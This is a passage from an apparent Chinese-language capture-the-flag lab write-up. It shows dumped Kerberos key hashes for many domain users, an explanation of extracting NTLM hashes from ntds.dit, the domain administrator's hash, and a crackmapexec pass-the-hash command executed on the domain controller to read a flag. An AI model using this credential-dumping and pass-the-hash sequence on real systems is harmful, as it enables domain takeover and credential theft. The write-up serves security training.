zhaoli:aes256-cts-hmac-sha1-96:dd9304d96d8cd2bbabada50ea482f4206ceba309590727771a8d57ef9a06a236
zhaoli:aes128-cts-hmac-sha1-96:d11d14a4ed03bfdb42ecf3cbd565b71b
zhaoli:des-cbc-md5:58ce9179fee6f1ad
zhoujing:aes256-cts-hmac-sha1-96:bf1237d53687578f0097bf7d92da3791bb59510d5bbd5fba3a34b612393042d3
zhoujing:aes128-cts-hmac-sha1-96:ddebd80f19a091b0c5db58bbd5de7d09
zhoujing:des-cbc-md5:9edff1017c023e7c
zhaoyong:aes256-cts-hmac-sha1-96:bc9c259cb28f85122cd973471c6c673bde03b9927a2058fbd112e01bd9509e39
zhaoyong:aes128-cts-hmac-sha1-96:b3be655b130bfdc1a5ae611544a7d74e
zhaoyong:des-cbc-md5:daa19192a78fc8fd
wangyu:aes256-cts-hmac-sha1-96:2e6969f11503f5dc619603395a56d541711ef621fe966a6ae9564e814d6db35d
wangyu:aes128-cts-hmac-sha1-96:4d2c21bcef8f3f234c23c9cfdb8d36cb
wangyu:des-cbc-md5:5e5dbc57ec0d6892
yangli:aes256-cts-hmac-sha1-96:fd2c88aa981430b7b57087878426f9aa33685bfb63889e512a7523e9e7b7e5ad
yangli:aes128-cts-hmac-sha1-96:b1d07abe126fc688e5fd5d0954a0f5a5
yangli:des-cbc-md5:8cc85eb55213df80
yangliu:aes256-cts-hmac-sha1-96:502f8f06819d4ca123bf0df2369bc01e39b10beaae9736bb89abd84aed191fda
yangliu:aes128-cts-hmac-sha1-96:b85b63efbafc11c81c903fbed1dacfe1
yangliu:des-cbc-md5:d0e6ec61d398c7a7
wangying:aes256-cts-hmac-sha1-96:21e7193624de64b091a50e40d237b7f7b95d98906c93361e668e1549a09964a6
wangying:aes128-cts-hmac-sha1-96:34559e58805b50fe63bd5b961b5e2781
wangying:des-cbc-md5:c198fe298023adb3
chenjie:aes256-cts-hmac-sha1-96:97f92bb027a23aa3e6c2f6f1e3be29b55ddae5894eec1b7bb64a2f404178f82f
chenjie:aes128-cts-hmac-sha1-96:246586d92c3a2112abdb78f6be6426fb
chenjie:des-cbc-md5:4ae9757f4346ae6e
yangyong:aes256-cts-hmac-sha1-96:a10d5f57e67555b38c94130eb639bfc1f3b5677eac62092ba23617fa15db0920
yangyong:aes128-cts-hmac-sha1-96:85bc63a86588f89b3d2130fde972814a
yangyong:des-cbc-md5:649140daa754e034
lixin:aes256-cts-hmac-sha1-96:5193d0c97992d131cf3e1daf9663d21c41b59c24df5f9800989e75d6cec2c026
lixin:aes128-cts-hmac-sha1-96:08bb58e1e3c1768a3938c1dde3fabcfb
lixin:des-cbc-md5:dc7a768945a8856d
zhanghui:aes256-cts-hmac-sha1-96:28c0a77a1889fbfbe41516244c96fb374558f3ed3edf9432d131470513d1e166
zhanghui:aes128-cts-hmac-sha1-96:7c928a8e82893e033fda12414479f5e9
zhanghui:des-cbc-md5:10baad3e9d708397
chenlin:aes256-cts-hmac-sha1-96:0501a62dd2b81829e06b4d02104541280730a1e6b0016f7fea9f1d7607342eb9
chenlin:aes128-cts-hmac-sha1-96:8666d30a719f44d7982835ae67af6936
chenlin:des-cbc-md5:d30ea8c180549d2a
chenjuan:aes256-cts-hmac-sha1-96:04cf01b384731d37fd48560e80f9d6f165c975f4023397c70e57483fccda3c80
chenjuan:aes128-cts-hmac-sha1-96:fbdee824097b2bb693c11f4c52134ca5
chenjuan:des-cbc-md5:fbb3b35ed0d96797
chenchen:aes256-cts-hmac-sha1-96:16250fd1a2d3ae95b67e57a8acc6f435faec821b61cedd21bc27c8c7ede16196
chenchen:aes128-cts-hmac-sha1-96:af6d75b3fef90e2c6e61e293de29bc84
chenchen:des-cbc-md5:f78319b9a2da5445
wangbing:aes256-cts-hmac-sha1-96:491d52f25c8ab1285b311334aa18ac3a49c4caf2c49364f5d20ef0cf3267b752
wangbing:aes128-cts-hmac-sha1-96:944ef5275279bc9ff350912313680a3e
wangbing:des-cbc-md5:c86273856dea3e92
chenling:aes256-cts-hmac-sha1-96:8ca2fa002a4fac085e9843e1fee471fbf216352c15c160eaa9a8e248359ba08f
chenling:aes128-cts-hmac-sha1-96:1f9dcffdd9cb633d7473c8ad9dbc0979
chenling:des-cbc-md5:57a7ead0f204949b
yangmei:aes256-cts-hmac-sha1-96:7fe6a96f3ea8521ac38c8d9a6afbb63432d09837d3edb65e328b5b42524ba4d3
yangmei:aes128-cts-hmac-sha1-96:5784edf9af99c8f4b11d477ac467e581
yangmei:des-cbc-md5:6d40859286b6c285
tiangui:aes256-cts-hmac-sha1-96:ea973d77cb1e7553eebf74f252f6e65d3ded442a2e903882130a891b0857ae5c
tiangui:aes128-cts-hmac-sha1-96:4b0540f9f84c834834b7630ba572b161
tiangui:des-cbc-md5:57bf1c150bf4163b
tianwen:aes256-cts-hmac-sha1-96:0d50bde0354833c30284bb4e5105fe6efde9a6d394492c17ebad628abda6a120
tianwen:aes128-cts-hmac-sha1-96:623189263738cd93d353cc69ed901587
tianwen:des-cbc-md5:e0f18f37293b4a46
tianshengli:aes256-cts-hmac-sha1-96:86dd2340322e692dc84a55b58a071193c61aa9f42ccb5313b1e9faea32901a17
tianshengli:aes128-cts-hmac-sha1-96:a48d66d1a413fbac7a84dd8b36f0018d
tianshengli:des-cbc-md5:3b5b76839b15b691
tianshi:aes256-cts-hmac-sha1-96:42a569ceee74f3ffeed1ec3660e38240154ec993d3dced11210ed9fd4c2ffcd3
tianshi:aes128-cts-hmac-sha1-96:38cd8b41da38afbade0a00993f4d7bbb
tianshi:des-cbc-md5:49d0c4d93861732f
tianlong:aes256-cts-hmac-sha1-96:d1ce4031b5d242c4e6e24831e69dd78147eb7ade76e2cda79459ee10e77e5477
tianlong:aes128-cts-hmac-sha1-96:860569a4d25b4649055da07b96d2e41f
tianlong:des-cbc-md5:e9464389858c0ba1
[*] Cleaning up... - 这个工具会读取
SYSTEM中的 SYSKEY，解密ntds.dit，然后提取出所有域用户的 NTLM 哈希，其中就包括域管理员Administrator的哈希。
得到域管hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:70c39b547b7d8adec35ad7c09fb1d277:::┌──(kali㉿kali)-[~/tools/bachang/Privilege]
└─$ proxychains4 -q crackmapexec smb 172.22.14.11 -u administrator -H70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"
SMB 172.22.14.11 445 XR-DC [*] Windows Server 2022 Build 20348 x64 (name:XR-DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.14.11 445 XR-DC [+] xiaorang.lab\administrator:70c39b547b7d8adec35ad7c09fb1d277 (Pwn3d!)
SMB 172.22.14.11 445 XR-DC [+] Executed command
SMB 172.22.14.11 445 XR-DC .______ .______ __ ____ ____ __ __ _______ _______ _______
SMB 172.22.14.11 445 XR-DC | _ \ | _ \ | | \ \ / / | | | | | ____| / _____|| ____|
SMB 172.22.14.11 445 XR-DC | |_) | | |_) | | | \ \/ / | | | | | |__ | | __ | |__
SMB 172.22.14.11 445 XR-DC | ___/ | / | | \ / | | | | | __| | | |_ | | __|
SMB 172.22.14.11 445 XR-DC | | | |\ \----.| | \ / | | | `----.| |____ | |__| | | |____
SMB 172.22.14.11 445 XR-DC | _| | _| `._____||__| \__/ |__| |_______||_______| \______| |_______|
SMB 172.22.14.11 445 XR-DC
SMB 172.22.14.11 445 XR-DC Good job!
SMB 172.22.14.11 445 XR-DC
SMB 172.22.14.11 445 XR-DC flag04: flag{e32a9ff5-6e67-407f-8a2e-f3a767a87c83}